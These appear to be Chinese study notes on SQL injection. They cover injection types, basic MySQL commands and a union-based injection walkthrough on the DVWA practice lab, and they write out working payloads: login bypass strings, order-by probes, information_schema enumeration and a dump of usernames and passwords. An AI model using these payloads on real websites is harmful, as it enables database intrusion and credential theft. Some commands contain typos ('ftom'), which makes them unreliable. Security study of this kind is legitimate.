数据库语句+联合查询
sql注入概念
万能密码---->数据库交互:sql注入
将用户输入的内容和源码拼通
功能:能读取并写入数据库中所有数据
单引号闭合,or条件不会报错,and错误无法通过 admin’#
#号代表注释,用户名正确则通过什么是sql注入?
SQL Injection:就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,他可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。
按照数据提交的方式来分类
- 1.Get注入:
更快
只有1个数据包,提交后不安全可直接看到路径。- 2.Post注入 :
更安全
数据包数量更多,分批发送,可看数据包路径。
sql注入可能存在的包头
Referer头:数据包来源头
http头:用户通过什么访问 更改方式:
1.手动将Get改为Post
2.右键—>改变请求的方式- 3.Cookie注入
将浏览记录保存,保存浏览值,在下一次登录时可直接访问。
按照注入点类型来分类
1.数字型注入点
2.字符型注入点
3.搜索型注入点
Mysql数据库
sql中最重要的语句
CREATE DATABASE
##创建新数据库
ALTER DATABASE
##修改数据库
CREATE TABLE
##创建新表
ALTER TABLE
##变更(改变)数据库表
DROP TABLE
##删除表
CREATE INDEX
##创建索引(搜索键)
DROP INDEX
##删除索引
SELECT
##从数据库表中获取数据
UPDATE
##更新数据库表中的数据
DELETE
##从数据库表中删除数据
INSERT INTO
##向数据库表中插入数据
如何连接并启动mysql?
cd phpStudy\PHPTutorial\MySQL\bin\mysql.exe -u root -p
##直接回车密码
##进入数据库
show databases
;
##查看当前数据库的所有库名
use dvwa; ##使用数据库
show tables; ##查看dvwa库的所有的表
desc users; ##查看表结构
select * from users; ##查看所有的列及数据
select user,password ftom users; ##查看特定的列
select user,password ftom users where user=admin;##查看指定行
Sql注入的流程
1.判断是否存在注入,注入是字符型还是数字型
2.猜解SQL查询语句中的字段数
3.确定显示位置
4.获取当前数据库
5.获取数据库中的表
6.获取表中的字段名
7.下载数据
联合查询
实验环境:
DVWA
view source
##查看源码
##最多只能查看5个值
sql注入 ’ ##字符型
1' or '1'='1
##恒成立,万能拼接进去,显示五个账号
1' union select 1,2# ##union联合查询
##1数据
##2数据
##1,2数据修改,对应显示位置的改变
1’and ’1’=’2
1’or ’1234’=’1234
1’order by 1 #
1' union select 1,2# ##union联合查询
##1数据
##2数据
##1,2数据修改,对应显示位置的改变
1' union select version(),database()#
##得知显示位置和库名
1' union select1,group_concat(table_name) from information_schema.tables where table_schema=database() #
##指定库查询筛选的表名
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
##指定库查询users表的所有列
1'union select user,password from users# ##查询数据
即改即提交,无需一改一抓包再显示
删除字符型中的单引号即可更改为数字型
不识别,需要转码